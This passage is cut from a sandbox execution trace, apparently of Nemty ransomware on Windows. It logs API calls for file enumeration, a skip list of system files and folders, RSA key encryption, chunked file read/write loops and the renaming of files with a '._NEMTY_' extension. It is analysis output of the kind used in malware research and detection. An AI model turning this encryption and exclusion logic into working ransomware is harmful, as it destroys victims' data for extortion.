lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.913] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.913] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.922] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.922] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.922] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.922] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.931] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.931] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.931] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.931] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.941] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.941] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.941] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.941] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.950] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.950] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.950] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.951] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.960] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.960] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.960] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.960] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.969] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.969] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.969] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.969] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.978] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.978] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.979] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.979] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.988] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.988] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.988] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.988] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.998] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.998] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.998] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.998] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.004] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.004] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.004] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.004] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.010] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.010] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.010] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.010] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0089.010] CloseHandle (hObject=0xffffffff) returned 0 [0089.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0089.010] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0089.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0089.010] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0089.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0089.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0089.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0089.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0089.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0089.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0089.010] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\highlight.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\highlight.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\highlight.png._nemty_kgobjgd_")) returned 0 [0089.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0089.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0089.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0089.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0089.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0089.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0089.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0089.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0089.011] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ef9632, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ef9632, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xba2, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="NavigationButtonSubpicture.png", cAlternateFileName="")) returned 1 [0089.011] lstrcmpiW (lpString1="NavigationButtonSubpicture.png", lpString2=".") returned 1 [0089.011] lstrcmpiW (lpString1="NavigationButtonSubpicture.png", lpString2="..") returned 1 [0089.011] lstrcmpiW (lpString1="NavigationButtonSubpicture.png", lpString2="...") returned 1 [0089.011] lstrcmpiW (lpString1="NavigationButtonSubpicture.png", lpString2="windows") returned -1 [0089.011] lstrcmpiW (lpString1="NavigationButtonSubpicture.png", lpString2="$RECYCLE.BIN") returned 1 [0089.011] lstrcmpiW (lpString1="NavigationButtonSubpicture.png", lpString2="rsa") returned -1 [0089.011] lstrcmpiW (lpString1="NavigationButtonSubpicture.png", lpString2="NTDETECT.COM") returned -1 [0089.011] lstrcmpiW (lpString1="NavigationButtonSubpicture.png", lpString2="ntldr") returned -1 [0089.011] lstrcmpiW (lpString1="NavigationButtonSubpicture.png", lpString2="MSDOS.SYS") returned 1 [0089.011] lstrcmpiW (lpString1="NavigationButtonSubpicture.png", lpString2="IO.SYS") returned 1 [0089.011] lstrcmpiW (lpString1="NavigationButtonSubpicture.png", lpString2="boot.ini") returned 1 [0089.011] lstrcmpiW (lpString1="NavigationButtonSubpicture.png", lpString2="boot.ini") returned 1 [0089.011] lstrcmpiW (lpString1="NavigationButtonSubpicture.png", lpString2="AUTOEXEC.BAT") returned 1 [0089.011] lstrcmpiW (lpString1="NavigationButtonSubpicture.png", lpString2="ntuser.dat") returned -1 [0089.011] lstrcmpiW (lpString1="NavigationButtonSubpicture.png", lpString2="desktop.ini") returned 1 [0089.011] lstrcmpiW (lpString1="NavigationButtonSubpicture.png", lpString2="CONFIG.SYS") returned 1 [0089.011] lstrcmpiW (lpString1="NavigationButtonSubpicture.png", lpString2="RECYCLER") returned -1 [0089.011] lstrcmpiW (lpString1="NavigationButtonSubpicture.png", lpString2="BOOTSECT.BAK") returned 1 [0089.011] lstrcmpiW (lpString1="NavigationButtonSubpicture.png", lpString2="bootmgr") returned 1 [0089.012] lstrcmpiW (lpString1="NavigationButtonSubpicture.png", lpString2="programdata") returned -1 [0089.012] lstrcmpiW (lpString1="NavigationButtonSubpicture.png", lpString2="appdata") returned 1 [0089.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0089.012] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationButtonSubpicture.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0089.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0089.012] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationButtonSubpicture.png", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationButtonSubpicture.png", lpUsedDefaultChar=0x0) returned 30 [0089.012] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0089.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0089.012] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationButtonSubpicture.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0089.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0089.012] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationButtonSubpicture.png", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationButtonSubpicture.png", lpUsedDefaultChar=0x0) returned 30 [0089.012] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0089.012] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0089.012] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0089.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0089.012] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationButtonSubpicture.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0089.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0089.012] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationButtonSubpicture.png", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationButtonSubpicture.png", lpUsedDefaultChar=0x0) returned 30 [0089.012] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0089.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0089.012] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationButtonSubpicture.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0089.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0089.012] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationButtonSubpicture.png", cchWideChar=30, lpMultiByteStr=0x4f9ed58, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationButtonSubpicture.png", lpUsedDefaultChar=0x0) returned 30 [0089.012] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0089.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94338 [0089.012] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0089.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0089.012] Sleep (dwMilliseconds=0x5) [0089.027] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe8b60bd0, dwHighDateTime=0x1d561e7)) [0089.027] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe8b60bd0, dwHighDateTime=0x1d561e7)) [0089.027] GetLastError () returned 0x5 [0089.027] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0089.027] GetLastError () returned 0x5 [0089.027] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0089.027] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0089.028] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0089.028] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0089.028] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0089.028] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0089.028] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0089.028] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e91c | out: pszString="up5JzHeIrQtF6DvxbzGo+C6weI1eVf4z05sACcJKAbI9hDNR1j0dZpgIGfN5CBRy\r\n22G1ljkwvhLEL7v3AsY8ldzndsCpmD766ML9x4Ge496REnDFxu+TbEjR8ZNRT35d\r\neBCvsR/58idDEQFDTf7B/uJZVa/ogW4/n/j0IMutVPqyKht8iC7bSv/YlTWnRnJ5\r\nDVFHKO+s6/sUdGJMvB1VcGx7oH0jfQq85psrQSth9sbDoZqLVikX+5vFII8MSID9\r\nmsT3jwjMox/m163hJ3MMuIXXmDTJ4258bDLkBmeoC84GEyriRoMbVlF4VqUEZt//\r\ntP5DMEgS5J5IZ+O8D+vVGA==\r\n", pcchString=0x653e91c) returned 1 [0089.028] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0089.028] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0089.028] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0089.028] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0089.028] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0089.028] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0089.028] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NavigationButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\navigationbuttonsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0089.028] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0089.028] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0089.028] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.028] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.038] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.038] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.038] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.038] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.047] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.047] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.047] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.047] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.058] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.058] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.058] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.058] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.067] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.067] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, 